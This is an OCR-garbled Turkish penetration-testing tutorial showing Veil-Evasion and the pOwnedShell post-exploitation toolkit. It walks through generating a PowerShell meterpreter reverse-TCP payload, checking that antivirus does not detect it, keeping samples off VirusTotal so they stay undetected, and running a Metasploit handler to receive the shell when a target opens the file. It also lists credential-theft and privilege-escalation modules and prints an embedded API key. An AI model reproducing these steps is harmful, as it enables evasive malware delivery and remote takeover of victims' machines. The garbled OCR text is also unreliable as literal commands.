list: Kullanilabilir payloadlari listelemek icin

update: veil’i glincellemek icin

clean: payload klasorini temizlemek igin

checkvt: viriistotal de payload’un hash’i kontrol ettirmek igin
exit: komutu da veil den ¢ikmak icin kullanilir

ilk olarak list komutuyla kullanabilecek payloadlari listeleyelim.


https://github.com/Veil-Framework/Veil-Evasion

1)
2)
3)

4)
5)
6)
7)
8)

9)

10)
11)
12)
13)

14)
15)
16)
17)

18)
19)
20)

21)

22)
23)
24)
25)
26)
27)
28)

auxiliary/coldwar wrapper
auxiliary/macro converter
auxiliary/pyinstaller wrapper

c/meterpreter/rev _http
c/meterpreter/rev http service
c/meterpreter/rev tcp
c/meterpreter/rev tcp service
c/shellcode inject/flatc

cs/meterpreter/rev http
cs/meterpreter/rev https
cs/meterpreter/rev tcp

cs/shellcode inject/base64 substitution
cs/shellcode inject/virtual

go/meterpreter/rev http
go/meterpreter/rev https
go/meterpreter/rev tcp
go/shellcode inject/virtual

native/backdoor factory
native/hyperion
native/pe scrambler

perl/shellcode inject/flat

powershell/meterpreter/rev http
powershell/meterpreter/rev _https
powershell/meterpreter/rev tcp
powershell/shellcode inject/download virtual
powershell/shellcode inject/download virtual https
powershell/shellcode inject/psexec virtual
powershell/shellcode inject/virtual




Bircok dilde yazilmis payload cesitlerini listeledik. Simdi de metasploit de de sik kullandigimiz 24
numarali powershell/meterpreter/rev_tcp payloadunu kullanalim.

use 24 veya use powershell/meterpreter/rev_tcp komutuyla payloadu kullanabiliriz.

Payload: loaded

Name Current Value Description

LHOST IP of the Metasploit handler
LPORT 4444 Port of the Metasploit handler

Available Commands:

set Set a specific option value

info Show information about the payload
options Show payload's options

generate Generate payload

back Go to the main menu

exit exit Veil-Evasion

[powershell/meterpreter/rev_tcp==]: I

set LHOST <local IP adresi> komutunu da kullanip, generate komutuyla payloadumuzu olusturuyoruz.
Bize payloadun adini soracak, testpy diye adlaniriyoruz.

Payloadumuzu /root/veil-output/source/testpy.bat diye olusturdu. Handler (metasploit icin
dinleme) icin de source’umuz olusturuldu.

[#] Please enter the base name for output files (default is 'payload'): soderpy

Language: powershell

Payload: powershell/meterpreterfrev_tcp

Required Options: LHOST=192.168.52.138 LPORT=4444

Payload File: Jroot/veil-output/source/soderpy.bat

Handler File: /root/veil-output/handlers/soderpy_handler.rc

[*] Your payload files have been generated, don't get caught!
[!] And don't submit samples to any online scanner! ;)

[>] Press any key to return to the main menu.[}




Olusturdugumuz payload’un virustotal de hash’inin taninip taninmadigini sorgulayalim
[menu>>]: checkvt

[*] Checking Virus Total for payload hashes...

[*] No payloads found on VirusTotal!

[>] Press any key to continue...

[menu>>]:

Goruldigi gibi hashi virlisTotal de bulamadi.

Bu islemi bir de /Veil-Evasion/tools/vt-notify# yolunda bulunan vt-notify araci ile deneyelim.

Vt-notify -h ile secenekleri gorelim.

Usage: VirusTotalNotifier [options]

-e EMAIL // email address of who to notify upon detection, will only log to
file if not specified

-c CREDFILE f/ file a username[tab] password of gmail account to send throug
h, defaults to creds.txt

-5 FILENAME // file name of binary to keep track of

-5 SHA1 // single SHA1 to keep track of

-f FILENAME // file containing shal hashes of files to keep track of

-d DIRECTORY // directory of binaries keep track of

-3 APIKEYFILENAME // file contianing API key hash on first line, defaults to
apikey.txt

-1 LOGFILENAME [/ file to write/read positive entries to/from, defaults to r
esults.log

-1 INTERVAL [/ how often VT is checked, defaults to every 30 minutes. Use @
for a single run.

-h

Hash dosyamizi kontrol ettirelim. hash dosyamiz /root/veil-output/hashes.txt dosyasina
olusturulmustu. Goriildigu gibi dosyanin hashi viristotal de bulunmuyor.

root@soder: /pentest/av-bypass/veil-framework/Veil-Evasion/tools/vt-notify# ./ vt-
notify.rb froot/veil-output/hashes.txt

Mo hash input arguments specified. Exiting

root@soder: /pentest/av-bypass/veil-framework/Veil-Evasion/tools/vt-notify# ./ vt-
notify.rb -f /root/veil-output/hashes.txt

API key file not found. Using built-in: e89d42ac15ac172f50c1e340e551557d6c46d267
3fc47b53ef5977b609d5ebes

Gmail credentials not found, can't send email...

Using API key: e09d42ac15ac172f50c1e340e551557d6c46d2673Fc47b53ef5977b609d5ebes

Mo results file to read from, will create one if results found

Checked:
Not found:
Found:




Bundan sonra yapmamiz gereken hazir olan payloadumuzu hedef bilgisayar veya sunucuya atip
dinlemeye baglamak.

msf exploit( ) = resource /root/veil-output/handlers/soderpy_handler.rc

[*] Processing /root/veil-output/handlers/soderpy_handler.rc for ERB directives.

resource (/root/veil-output/handlers/soderpy_handler.rc)> use exploit/multi/handler

resource (/root/veil-output/handlers/soderpy_handler.rc)> set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp

resource (/root/veil-output/handlers/soderpy handler.rc)> set LHOST 192.168.152.138

LHOST => 192.168.152.138

resource (/root/veil-output/handlers/soderpy_handler.rc)> set LPORT 4445

LPORT => 4445

resource (/root/veil-output/handlers/soderpy_handler.rc)> set ExitOnSession false

ExitOnSession => false

resource (/root/veil-output/handlers/soderpy_handler.rc)= exploit -j

[*] Exploit running as background job.

[ Started reverse TCP handler on 192.168.152.138:4445
m exploit( ) =

* :l
msf

L*] Starting the payload handler...

Payloadumuzun tiklanmasi ile bize meterpreter gelecektir.
Bundan sonraki komutlar metasploit basligindaki meterpreter komutlari kullanilacaktir.

Simdi bir de dosyay! kendimiz virustotale yiikleyip test edelim. 52 AntiVirlis den sadece 18’i trojan
olarak gordu.

A total

SHA256: 228170af9a4cbd94562a0ac77769bae/7c373b131cd1e375c33e44cdd7a053b3a

File name: soderpy .bat
Detection ratio: 18/ 52

Analysis date: 2017-01-03 09:05:26 UTC ( 1 minute ago )

Bundan sonra payload’'umuzun hash’i virtstotal’de bulundugu icin tekrar checkvt dedigimiz de bu
sefer taniniyor olacak.

fménu}}] : checkvt

[*] Checking Virus Total for payload hashes...

[>] Press any key to continue...[l

Bu ylizden payloadumuz uretildikten sonra acaba virustotal de taniniyor mu diye sayfaya kesinlikle
yliklemememiz gerekir. Yikleme yaptigimiz takdirde artik payloadumuz taniniyor olacaktir.



pOwnedShell — PowerShell Runspace Post Exploitation Toolkit

pOwnedShell, C# da yazilms, icerisinde bircok offensive post exploitaion modili bulunan powershell
komutlarinin kullanilabildigi bir aragtir.

Araci https://github.com/Cn33liz/pOwnedShell adresinden indirip visual studio da derleyebilir veya
asagidaki komutlarla derleme islemi gergeklestirilebilir.

cd \Windows\Microsoft.NET\Framework64\v4.0.30319

csc.exe /unsafe /reference:"C:\pOwnedShell\System.Management.Automation.dll"
/reference:System.l0.Compression.dll /win32icon:C:\pOwnedShell\pOwnedShell.ico
Jout:C:\pOwnedShell\pOwnedShellx64.exe /platform:x64 "C:\pOwnedShell\*.cs"

Asagidaki ozellikleri bu arag ile birlikte kullanabilirsiniz.

PowerSploit Invoke-Shellcode
PowerSploit Invoke-ReflectivePEInjection
PowerSploit Invoke-Mimikatz
PowerSploit Invoke-TokenManipulation
PowerSploit PowerUp

PowerSploit PowerView

HarmJOy’s Invoke-Psexec
Besimorhino’s PowerCat

Nishang Invoke-PsUACme

Nishang Invoke-Encode

Nishang Get-PassHashes

Nishang Invoke-CredentialsPhish
Nishang Port-Scan

Nishang Copy-VSS

Kevin Robertson Invoke-Inveigh

Kevin Robertson Tater

FuzzySecurity Invoke-MS16-032

Kodu derledikten sonra debug altinda agilan pOwnedShell.exe dosyasi powershell ile
acabilirsiniz.

Acllan ekranda istenilen menuden ilerleyebilirsiniz.


https://github.com/Cn33liz/p0wnedShell
https://www.darknet.org.uk/2015/07/mimikatz-gather-windows-credentials/

EN pOwnedShell - PowerShell Runspace Post Exploitation Toolkit

/By Cn331iz and Skons 2018\
\Cornelis@dePlaa. com/

PowerShell Runspace Post Exploitation Toolkit
A RedTeam Swiss Army Knife for Windows Based Systems

Use PowerView to gain network situational awareness on Windows Domains.
Use Invoke-UserHunter and/or BloodHound to identify AD Attack Paths.
Scan for IP-Addresses, HostNames and open Ports in your Network.

Reflectively load Mimikatz or React0OS into Memory, bypassing AV/ApplLocker.

Use PowerUp tool to assist with Tocal Privilege Escalation on Windows Syste
Get a SYSTEM shell using EasySystem or Token Manipulation.

Inveigh a PowerShell based LLMNR/mDNS/NBNS Spoofer/Man-In-The-Middle tool.
Exploiting Group Policy Preference settings

Use Invoke-Kerberoast to get Crackable AD Service Account Hashes.

Attacking Active Directory using Mimikatz.

Get SYSTEM Privileges using various Exploits/Vulnerabilities.
Own AD in 60 seconds using the MS514-068 Kerberos Vulnerability.

Execute Metasploit reversed https Stager or Inject as Shellcode.
Use WinRM, PsiExec or SMB/WMI (PtH) to execute commands on remote systems.
PowerCat our PowerShell TCP/IP Swiss Army Knife.

Execute (Offensive) PowerShell Scripts and Commands.
Exit

Enter choice:




Kaynakca ve Faydali baglantilar

*  https://kamp.linux.org.tr/

* http://ab.org.tr/

*  http://www.siberkamp.org/

*  http://www.superbug.co/

*  http://www.netsectr.org/

e http://www.webguvenligi.org/
*  https://www.hacking-lab.com/
*  https://www.vulnhub.com/

*  http://exploit-exercises.com/

*  https://www.pentesterlab.com/

*  https://www.siberportal.org/

Sorulariniz ve geri donds igin : yusa bas@hotmail.com Gzerinden ulasabilirsiniz.
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